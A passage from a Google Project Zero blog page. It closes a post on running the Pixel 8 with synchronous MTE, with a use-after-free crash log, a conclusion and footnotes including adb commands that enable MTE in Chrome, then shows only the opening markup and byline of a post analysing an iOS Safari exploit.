(.__uniq.99033978352804627313491551960229047428.llvm.6178811259984417487)+160) (BuildId: a5fcf27f4a71b07dff05c648ad58e3cd)</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : #02 pc 00000000000017dc /data/app/~~lgGoAt3gB6oojf3IWXi-KQ==/com.example.mtetestapplication-k4Yl4oMx9PEbfuvTEkjqFg==/base.apk!libmtetestapplication.so (offset 0x1000) (_JNIEnv::NewStringUTF(char const*)+36) (BuildId: f60a9970a8a46ff7949a5c8e41d0ece51e47d82c)</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">...</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : Note: multiple potential causes for this crash were detected, listing them in decreasing order of likelihood.</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c2">DEBUG : </span><span class="XtVSyvVaud-c2">Cause: [MTE]: Use After Free</span><span class="XtVSyvVaud-c0">, 0 bytes into a 12-byte allocation at 0x72afa9f790</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : deallocated by thread 24147:</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : #00 pc 000000000005e800 /apex/com.android.runtime/lib64/bionic/libc.so (scudo::Allocator<scudo::AndroidConfig, &(scudo_malloc_postinit)>::quarantineOrDeallocateChunk(scudo::Options, void*, scudo::Chunk::UnpackedHeader*, unsigned long)+496) (BuildId: a017f07431ff6692304a0cae225962fb)</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : #01 pc 0000000000057ba4 /apex/com.android.runtime/lib64/bionic/libc.so (scudo::Allocator<scudo::AndroidConfig, &(scudo_malloc_postinit)>::deallocate(void*, scudo::Chunk::Origin, unsigned long, unsigned long)+212) (BuildId: a017f07431ff6692304a0cae225962fb)</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : #02 pc 000000000000179c /data/app/~~lgGoAt3gB6oojf3IWXi-KQ==/com.example.mtetestapplication-k4Yl4oMx9PEbfuvTEkjqFg==/base.apk!libmtetestapplication.so (offset 0x1000) (Java_com_example_mtetestapplication_MainActivity_stringFromJNI+40) (BuildId: f60a9970a8a46ff7949a5c8e41d0ece51e47d82c)</span></p> </div> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">If you just want to check that MTE has been enabled in the bootloader, there's an </span><span class="XtVSyvVaud-c11 XtVSyvVaud-c3"><a class="XtVSyvVaud-c11" href="https://play.google.com/store/apps/details?id=com.sanitizers.app.production">application on the Play Store</a></span><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"> from Google's Dynamic Tools team, which you can also use (this app enables MTE in async mode in the manifest, which is why you see below that it's not running in sync mode on all cores):</span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p> <p class="XtVSyvVaud-c8"></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOtT6oQclPF7hRKziqlNC7M7GD7BjDlBeVgaEyM500foNJXSlgvp4228zplJQr7HdZz85PJpA-8QKXrpo4t8nLt2Nk4AvLO4o0JIzFJFJ1R1EWEeLklM3dzHpXDQAm9WliYKYqPoe-PtBPtt0sRQDoqQOLFbGHEsqcqMBuw4zWH7qNv09XhtLFt9CJgnI/s1212/Screenshot%202023-11-02%20at%209.48.54%E2%80%AFAM.png" style="display: block; padding: 1em 0;text-align: center;"><img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOtT6oQclPF7hRKziqlNC7M7GD7BjDlBeVgaEyM500foNJXSlgvp4228zplJQr7HdZz85PJpA-8QKXrpo4t8nLt2Nk4AvLO4o0JIzFJFJ1R1EWEeLklM3dzHpXDQAm9WliYKYqPoe-PtBPtt0sRQDoqQOLFbGHEsqcqMBuw4zWH7qNv09XhtLFt9CJgnI/s1212/Screenshot%202023-11-02%20at%209.48.54%E2%80%AFAM.png" style="max-height: 750px; max-width: 600px;" title="" /></a></span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3">At this point, we can go back into the developer settings and disable USB debugging, since we don't want that enabled for normal day-to-day usage. We do need to leave the developer mode toggle on, since disabling that will turn off MTE again entirely on the next reboot.</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3"><br></span><span class="XtVSyvVaud-c25">Conclusion</span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">T</span><span class="XtVSyvVaud-c7 XtVSyvVaud-c3">he Pixel 8 with synchronous-MTE enabled is at least subjectively a performance and battery-life upgrade over my previous phone.</span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">I think this is a huge improvement for the general security of the device - many zero-click attack surfaces involve large amounts of unsafe C/C++ code, whether that's WebRTC for calling, or one of the many media or image file parsing libraries. MTE is </span><span class="XtVSyvVaud-c11 XtVSyvVaud-c3"><a class="XtVSyvVaud-c11" href="https://googleprojectzero.blogspot.com/2023/08/mte-as-implemented-part-2-mitigation.html">not a silver bullet</a></span><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"> for memory safety - but the release of the first production device with the ability to run almost all user-mode applications with synchronous-MTE is a huge step forward, and something that's worth celebrating!</span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c3 XtVSyvVaud-c7"></span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p><h3 class="XtVSyvVaud-c28" id="h.9x1hlkdzy7n9"><span>1 </span><span class="XtVSyvVaud-c17">On a team member's device, a single MTE detection of a use-after-free bug happened last week. This resulted in a crash that wasn't noticed at the time, but which we later found when looking through the saved crash reports on their device. Because the alloc and free stacktraces of the allocation were recorded, we were able to quickly figure out the bug and report it to the application developers - the bug in this case was caused by user gesture input, and doesn't really have security impact, but it already illustrates some of the advantages of MTE.</span></h3><h3 class="XtVSyvVaud-c28" id="h.c72zfxz1h4jv"><span>2</span><span class="XtVSyvVaud-c3 XtVSyvVaud-c30"> </span><span class="XtVSyvVaud-c17">Except for se (secure element), bluetooth, nfc, and the system server, due to these system apps explicitly setting their individual system properties to 'off' in the Pixel system image.</span></h3><h3 class="XtVSyvVaud-c28" id="h.48b4e8cq1xxw"><span>3 </span><span class="XtVSyvVaud-c17">Enabling MTE in Chrome requires setting multiple command line flags, which on a non-rooted Android device requires configuring Chrome to load the command line flags from a file in /data/local/tmp. This is potentially unsafe, so we'd not suggest doing this, but if you'd like to experiment on a test device or for fuzzing, the following commands will allow you to </span><span class="XtVSyvVaud-c17">run Chrome with MTE enabled</span><span class="XtVSyvVaud-c18 XtVSyvVaud-c3 XtVSyvVaud-c17">:</span></h3> <div class="codeblock"> <p class="XtVSyvVaud-c8"><span></span><span class="XtVSyvVaud-c0">markbrand@markbrand:~$ adb shell</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c2">shiba:/</span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">$ umask 022<br>shiba:/</span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">$ echo</span><span class="XtVSyvVaud-c4 XtVSyvVaud-c12"> </span><span class="XtVSyvVaud-c2">"_</span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">--enable-features=PartitionAllocMemoryTagging:enabled-processes/all-processes/memtag-mode/sync</span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">--disable-features=PartitionAllocPermissiveMte,KillPartitionAllocMemoryTagging"</span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">></span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">/data/local/tmp/chrome-command-line<br>shiba:/</span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c0">$ ls -la /data/local/tmp/chrome-command-line </span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">-rw-r--r-- 1 shell shell 176 2023-10-25 19:14 /data/local/tmp/chrome-command-line</span></p> </div> <h3 class="XtVSyvVaud-c8"><span><br></span><span class="XtVSyvVaud-c3 XtVSyvVaud-c17 XtVSyvVaud-c18"><b>Having run these commands, we need to configure Chrome to read the command line file; this can be done by opening Chrome, browsing to chrome://flags#enable-command-line-on-non-rooted-devices, and setting the highlighted flag to "Enabled".<br><br>Note that unfortunately this only applies to webpages viewed using the Chrome app, and not to other Chromium-based browsers or non-browser apps that use the Chromium based Android WebView to implement their rendering.</b></span></h3> <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Posted by <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/08975904405228580347' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/08975904405228580347' rel='author' title='author profile'> <span itemprop='name'>Google Project Zero</span> </a> </span> </span> <span class='post-timestamp'> at <meta content='https://googleprojectzero.blogspot.com/2023/11/first-handset-with-mte-on-market.html' itemprop='url'/> <a class='timestamp-link' href='https://googleprojectzero.blogspot.com/2023/11/first-handset-with-mte-on-market.html' rel='bookmark' title='permanent link'><abbr class='published' itemprop='datePublished' title='2023-11-03T10:04:00-07:00'>10:04 AM</abbr></a> </span> <span class='post-comment-link'> <a class='comment-link' href='https://googleprojectzero.blogspot.com/2023/11/first-handset-with-mte-on-market.html#comment-form' onclick=''> No comments: </a> </span> <span class='post-icons'> <span class='item-control blog-admin pid-1053444070'> <a href='https://www.blogger.com/post-edit.g?blogID=4838136820032157985&postID=2472210734448723641&from=pencil' title='Edit Post'> <img alt='' class='icon-action' height='18' src='https://resources.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/> </a> </span> </span> <div class='post-share-buttons goog-inline-block'> <a class='goog-inline-block share-button sb-email' href='https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=2472210734448723641&target=email' target='_blank' title='Email This'><span class='share-button-link-text'>Email This</span></a><a class='goog-inline-block share-button sb-blog' href='https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=2472210734448723641&target=blog' onclick='window.open(this.href, "_blank", "height=270,width=475"); return false;' target='_blank' title='BlogThis!'><span class='share-button-link-text'>BlogThis!</span></a><a class='goog-inline-block share-button sb-twitter' href='https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=2472210734448723641&target=twitter' target='_blank' title='Share to X'><span class='share-button-link-text'>Share to X</span></a><a class='goog-inline-block share-button sb-facebook' href='https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=2472210734448723641&target=facebook' onclick='window.open(this.href, "_blank", "height=430,width=640"); return false;' target='_blank' title='Share to Facebook'><span class='share-button-link-text'>Share to Facebook</span></a><a class='goog-inline-block share-button sb-pinterest' href='https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=2472210734448723641&target=pinterest' target='_blank' title='Share to Pinterest'><span class='share-button-link-text'>Share to Pinterest</span></a> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> </div></div> <div class="date-outer"> <h2 class='date-header'><span>Friday, October 13, 2023</span></h2> <div class="date-posts"> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrzpTZ2_H16_OJgFkwuJNmL120zmxWCcdrLlPXp-6x5SsweX8PosbAcKI9Sf8Ad0bYlMfDGwJ0Rz5GdwwEVnek-taAR1voRObiCwl7StIIx2gIHw7zH16AOi-TJRNiyDYKXprNRQNmt6vosLtafQdbjrRgTJB7HLUt_qc1sfCG_sAWZk_wfsfaei3c2-4/s1200/image7.png' itemprop='image_url'/> <meta content='4838136820032157985' itemprop='blogId'/> <meta content='8557242364150934680' itemprop='postId'/> <a name='8557242364150934680'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='https://googleprojectzero.blogspot.com/2023/10/an-analysis-of-an-in-the-wild-ios-safari-sandbox-escape.html'>An analysis of an in-the-wild iOS Safari WebContent to GPU Process exploit</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-8557242364150934680' itemprop='description articleBody'> <style type="text/css">@import url(https://themes.googleusercontent.com/fonts/css?kit=lhDjYqiy3mZ0x6ROQEUoUw);.lst-kix_fcb9u51bqgft-4>li{counter-increment:lst-ctn-kix_fcb9u51bqgft-4}ol.lst-kix_shbeio5ln3sf-3.start{counter-reset:lst-ctn-kix_shbeio5ln3sf-3 0}.lst-kix_shbeio5ln3sf-0>li{counter-increment:lst-ctn-kix_shbeio5ln3sf-0}ul.lst-kix_wvnn2lytn2eh-3{list-style-type:none}ul.lst-kix_wvnn2lytn2eh-2{list-style-type:none}ul.lst-kix_wvnn2lytn2eh-5{list-style-type:none}ul.lst-kix_wvnn2lytn2eh-4{list-style-type:none}ul.lst-kix_wvnn2lytn2eh-1{list-style-type:none}.lst-kix_shbeio5ln3sf-6>li{counter-increment:lst-ctn-kix_shbeio5ln3sf-6}ul.lst-kix_wvnn2lytn2eh-0{list-style-type:none}ol.lst-kix_shbeio5ln3sf-7.start{counter-reset:lst-ctn-kix_shbeio5ln3sf-7 0}ol.lst-kix_fcb9u51bqgft-2.start{counter-reset:lst-ctn-kix_fcb9u51bqgft-2 0}.lst-kix_shbeio5ln3sf-5>li{counter-increment:lst-ctn-kix_shbeio5ln3sf-5}.lst-kix_shbeio5ln3sf-3>li:before{content:"" counter(lst-ctn-kix_shbeio5ln3sf-3,decimal) ". "}.lst-kix_shbeio5ln3sf-4>li:before{content:"" counter(lst-ctn-kix_shbeio5ln3sf-4,lower-latin) ". "}.lst-kix_shbeio5ln3sf-5>li:before{content:"" counter(lst-ctn-kix_shbeio5ln3sf-5,lower-roman) ". "}.lst-kix_fcb9u51bqgft-3>li{counter-increment:lst-ctn-kix_fcb9u51bqgft-3}.lst-kix_fcb9u51bqgft-7>li:before{content:"" counter(lst-ctn-kix_fcb9u51bqgft-7,lower-latin) ". "}.lst-kix_wvnn2lytn2eh-2>li:before{content:"\0025a0 "}.lst-kix_wvnn2lytn2eh-3>li:before{content:"\0025cf "}.lst-kix_fcb9u51bqgft-6>li:before{content:"" counter(lst-ctn-kix_fcb9u51bqgft-6,decimal) ". "}.lst-kix_wvnn2lytn2eh-1>li:before{content:"\0025cb "}.lst-kix_wvnn2lytn2eh-5>li:before{content:"\0025a0 "}ol.lst-kix_fcb9u51bqgft-5.start{counter-reset:lst-ctn-kix_fcb9u51bqgft-5 0}.lst-kix_fcb9u51bqgft-5>li:before{content:"" counter(lst-ctn-kix_fcb9u51bqgft-5,lower-roman) ". "}.lst-kix_wvnn2lytn2eh-6>li:before{content:"\0025cf "}.lst-kix_shbeio5ln3sf-2>li:before{content:"" counter(lst-ctn-kix_shbeio5ln3sf-2,lower-roman) ". "}.lst-kix_fcb9u51bqgft-2>li:before{content:"" counter(lst-ctn-kix_fcb9u51bqgft-2,lower-roman) ". "}.lst-kix_fcb9u51bqgft-4>li:before{content:"" counter(lst-ctn-kix_fcb9u51bqgft-4,lower-latin) ". "}.lst-kix_wvnn2lytn2eh-8>li:before{content:"\0025a0 "}.lst-kix_shbeio5ln3sf-1>li:before{content:"" counter(lst-ctn-kix_shbeio5ln3sf-1,lower-latin) ". "}.lst-kix_wvnn2lytn2eh-0>li:before{content:"\0025cf "}ol.lst-kix_shbeio5ln3sf-2.start{counter-reset:lst-ctn-kix_shbeio5ln3sf-2 0}.lst-kix_wvnn2lytn2eh-7>li:before{content:"\0025cb "}ol.lst-kix_fcb9u51bqgft-8.start{counter-reset:lst-ctn-kix_fcb9u51bqgft-8 0}.lst-kix_fcb9u51bqgft-3>li:before{content:"" counter(lst-ctn-kix_fcb9u51bqgft-3,decimal) ". "}ol.lst-kix_shbeio5ln3sf-4{list-style-type:none}ol.lst-kix_shbeio5ln3sf-5{list-style-type:none}ol.lst-kix_fcb9u51bqgft-1.start{counter-reset:lst-ctn-kix_fcb9u51bqgft-1 0}.lst-kix_shbeio5ln3sf-0>li:before{content:"" counter(lst-ctn-kix_shbeio5ln3sf-0,decimal) ". "}ol.lst-kix_shbeio5ln3sf-2{list-style-type:none}.lst-kix_fcb9u51bqgft-0>li:before{content:"" counter(lst-ctn-kix_fcb9u51bqgft-0,decimal) ". "}ol.lst-kix_shbeio5ln3sf-3{list-style-type:none}ol.lst-kix_fcb9u51bqgft-6{list-style-type:none}ol.lst-kix_shbeio5ln3sf-8{list-style-type:none}ol.lst-kix_fcb9u51bqgft-7{list-style-type:none}ol.lst-kix_shbeio5ln3sf-8.start{counter-reset:lst-ctn-kix_shbeio5ln3sf-8 0}ol.lst-kix_fcb9u51bqgft-8{list-style-type:none}ol.lst-kix_shbeio5ln3sf-6{list-style-type:none}.lst-kix_fcb9u51bqgft-1>li:before{content:"" counter(lst-ctn-kix_fcb9u51bqgft-1,lower-latin) ". "}ol.lst-kix_shbeio5ln3sf-7{list-style-type:none}ol.lst-kix_fcb9u51bqgft-2{list-style-type:none}ol.lst-kix_fcb9u51bqgft-3{list-style-type:none}ol.lst-kix_fcb9u51bqgft-4{list-style-type:none}ol.lst-kix_fcb9u51bqgft-5{list-style-type:none}ol.lst-kix_shbeio5ln3sf-5.start{counter-reset:lst-ctn-kix_shbeio5ln3sf-5 0}ol.lst-kix_shbeio5ln3sf-0{list-style-type:none}.lst-kix_wvnn2lytn2eh-4>li:before{content:"\0025cb "}ol.lst-kix_shbeio5ln3sf-1{list-style-type:none}ol.lst-kix_fcb9u51bqgft-0{list-style-type:none}ol.lst-kix_fcb9u51bqgft-1{list-style-type:none}.lst-kix_shbeio5ln3sf-3>li{counter-increment:lst-ctn-kix_shbeio5ln3sf-3}.lst-kix_fcb9u51bqgft-1>li{counter-increment:lst-ctn-kix_fcb9u51bqgft-1}ol.lst-kix_fcb9u51bqgft-4.start{counter-reset:lst-ctn-kix_fcb9u51bqgft-4 0}.lst-kix_fcb9u51bqgft-7>li{counter-increment:lst-ctn-kix_fcb9u51bqgft-7}ol.lst-kix_shbeio5ln3sf-1.start{counter-reset:lst-ctn-kix_shbeio5ln3sf-1 0}.lst-kix_shbeio5ln3sf-8>li{counter-increment:lst-ctn-kix_shbeio5ln3sf-8}ol.lst-kix_fcb9u51bqgft-7.start{counter-reset:lst-ctn-kix_fcb9u51bqgft-7 0}.lst-kix_fcb9u51bqgft-6>li{counter-increment:lst-ctn-kix_fcb9u51bqgft-6}.lst-kix_shbeio5ln3sf-2>li{counter-increment:lst-ctn-kix_shbeio5ln3sf-2}ol.lst-kix_shbeio5ln3sf-4.start{counter-reset:lst-ctn-kix_shbeio5ln3sf-4 0}.lst-kix_shbeio5ln3sf-7>li:before{content:"" counter(lst-ctn-kix_shbeio5ln3sf-7,lower-latin) ". "}.lst-kix_shbeio5ln3sf-6>li:before{content:"" counter(lst-ctn-kix_shbeio5ln3sf-6,decimal) ". "}.lst-kix_shbeio5ln3sf-8>li:before{content:"" counter(lst-ctn-kix_shbeio5ln3sf-8,lower-roman) ". "}.lst-kix_fcb9u51bqgft-8>li:before{content:"" counter(lst-ctn-kix_fcb9u51bqgft-8,lower-roman) ". "}.lst-kix_fcb9u51bqgft-0>li{counter-increment:lst-ctn-kix_fcb9u51bqgft-0}ol.lst-kix_fcb9u51bqgft-0.start{counter-reset:lst-ctn-kix_fcb9u51bqgft-0 0}ol.lst-kix_fcb9u51bqgft-3.start{counter-reset:lst-ctn-kix_fcb9u51bqgft-3 0}ol.lst-kix_shbeio5ln3sf-6.start{counter-reset:lst-ctn-kix_shbeio5ln3sf-6 0}li.li-bullet-0:before{margin-left:-18pt;white-space:nowrap;display:inline-block;min-width:18pt}.lst-kix_fcb9u51bqgft-2>li{counter-increment:lst-ctn-kix_fcb9u51bqgft-2}ul.lst-kix_wvnn2lytn2eh-7{list-style-type:none}.lst-kix_fcb9u51bqgft-8>li{counter-increment:lst-ctn-kix_fcb9u51bqgft-8}.lst-kix_shbeio5ln3sf-1>li{counter-increment:lst-ctn-kix_shbeio5ln3sf-1}ul.lst-kix_wvnn2lytn2eh-6{list-style-type:none}.lst-kix_fcb9u51bqgft-5>li{counter-increment:lst-ctn-kix_fcb9u51bqgft-5}.lst-kix_shbeio5ln3sf-4>li{counter-increment:lst-ctn-kix_shbeio5ln3sf-4}ul.lst-kix_wvnn2lytn2eh-8{list-style-type:none}ol.lst-kix_fcb9u51bqgft-6.start{counter-reset:lst-ctn-kix_fcb9u51bqgft-6 0}.lst-kix_shbeio5ln3sf-7>li{counter-increment:lst-ctn-kix_shbeio5ln3sf-7}ol.lst-kix_shbeio5ln3sf-0.start{counter-reset:lst-ctn-kix_shbeio5ln3sf-0 0}ol{margin:0;padding:0}table td,table th{padding:0}.YrefKOOkxY-c27{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#ffffff;border-top-width:1pt;border-right-width:1pt;border-left-color:#ffffff;vertical-align:top;border-right-color:#ffffff;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:349.5pt;border-top-color:#ffffff;border-bottom-style:solid}.YrefKOOkxY-c20{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#ffffff;border-top-width:1pt;border-right-width:1pt;border-left-color:#ffffff;vertical-align:middle;border-right-color:#ffffff;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:118.5pt;border-top-color:#ffffff;border-bottom-style:solid}.YrefKOOkxY-c23{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#ffffff;border-top-width:1pt;border-right-width:1pt;border-left-color:#ffffff;vertical-align:top;border-right-color:#ffffff;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:171pt;border-top-color:#ffffff;border-bottom-style:solid}.YrefKOOkxY-c24{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#ffffff;border-top-width:1pt;border-right-width:1pt;border-left-color:#ffffff;vertical-align:top;border-right-color:#ffffff;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:297pt;border-top-color:#ffffff;border-bottom-style:solid}.YrefKOOkxY-c22{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#ffffff;border-top-width:1pt;border-right-width:1pt;border-left-color:#ffffff;vertical-align:top;border-right-color:#ffffff;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:286.5pt;border-top-color:#ffffff;border-bottom-style:solid}.YrefKOOkxY-c17{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#ffffff;border-top-width:1pt;border-right-width:1pt;border-left-color:#ffffff;vertical-align:middle;border-right-color:#ffffff;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:181.5pt;border-top-color:#ffffff;border-bottom-style:solid}.YrefKOOkxY-c13{color:#000000;font-weight:700;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Courier New";font-style:normal}.YrefKOOkxY-c5{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.YrefKOOkxY-c6{padding-top:16pt;padding-bottom:4pt;line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.YrefKOOkxY-c10{color:#434343;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:14pt;font-family:"Arial";font-style:normal}.YrefKOOkxY-c0{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Courier New";font-style:normal}.YrefKOOkxY-c30{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial"}.YrefKOOkxY-c29{color:#434343;text-decoration:none;vertical-align:baseline;font-size:14pt;font-family:"Arial";font-style:normal}.YrefKOOkxY-c2{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left}.YrefKOOkxY-c21{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:right}.YrefKOOkxY-c11{padding-top:0pt;padding-bottom:0pt;line-height:1.0;text-align:left}.YrefKOOkxY-c25{border-spacing:0;border-collapse:collapse;margin-right:auto}.YrefKOOkxY-c1{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline}.YrefKOOkxY-c18{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.YrefKOOkxY-c16{font-weight:400;font-family:Consolas,"Courier New"}.YrefKOOkxY-c8{padding:0;margin:0}.YrefKOOkxY-c15{font-weight:700;font-family:"Courier New"}.YrefKOOkxY-c3{font-weight:400;font-family:"Courier New"}.YrefKOOkxY-c12{color:inherit;text-decoration:inherit}.YrefKOOkxY-c9{margin-left:36pt;padding-left:0pt}.YrefKOOkxY-c28{font-weight:700}.YrefKOOkxY-c4{height:11pt}.YrefKOOkxY-c7{background-color:#d9ead3}.YrefKOOkxY-c19{height:0pt}.YrefKOOkxY-c26{background-color:#f4cccc}.YrefKOOkxY-c14{font-style:italic}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}</style></head><body class="c18 doc-content"><h3 class="YrefKOOkxY-c6" id="h.754t5dnc09xo"><span class="YrefKOOkxY-c10">By Ian Beer</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrzpTZ2_H16_OJgFkwuJNmL120zmxWCcdrLlPXp-6x5SsweX8PosbAcKI9Sf8Ad0bYlMfDGwJ0Rz5GdwwEVnek-taAR1voRObiCwl7StIIx2gIHw7zH16AOi-TJRNiyDYKXprNRQNmt6vosLtafQdbjrRgTJB7HLUt_qc1sfCG_sAWZk_wfsfaei3c2-4/s1600/image7.png" style="display: block; padding: 1em 0;text-align: center;"><img alt="A graph rendering of the sandbox escape NSExpression payload node graph, with an eerie similarity to a human eye" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrzpTZ2_H16_OJgFkwuJNmL120zmxWCcdrLlPXp-6x5SsweX8PosbAcKI9Sf8Ad0bYlMfDGwJ0Rz5GdwwEVnek-taAR1voRObiCwl7StIIx2gIHw7zH16AOi-TJRNiyDYKXprNRQNmt6vosLtafQdbjrRgTJB7HLUt_qc1sfCG_sAWZk_wfsfaei3c2-4/s1200/image7.png" style="max-height: 750px; max-width: 600px;" title="A graph rendering of the sandbox escape NSExpression payload node graph, with an eerie similarity to a human eye" /></a></span></p> <p class="YrefKOOkxY-c21"><span class="YrefKOOkxY-c30 YrefKOOkxY-c14">A graph representation of the sandbox escape NSExpression 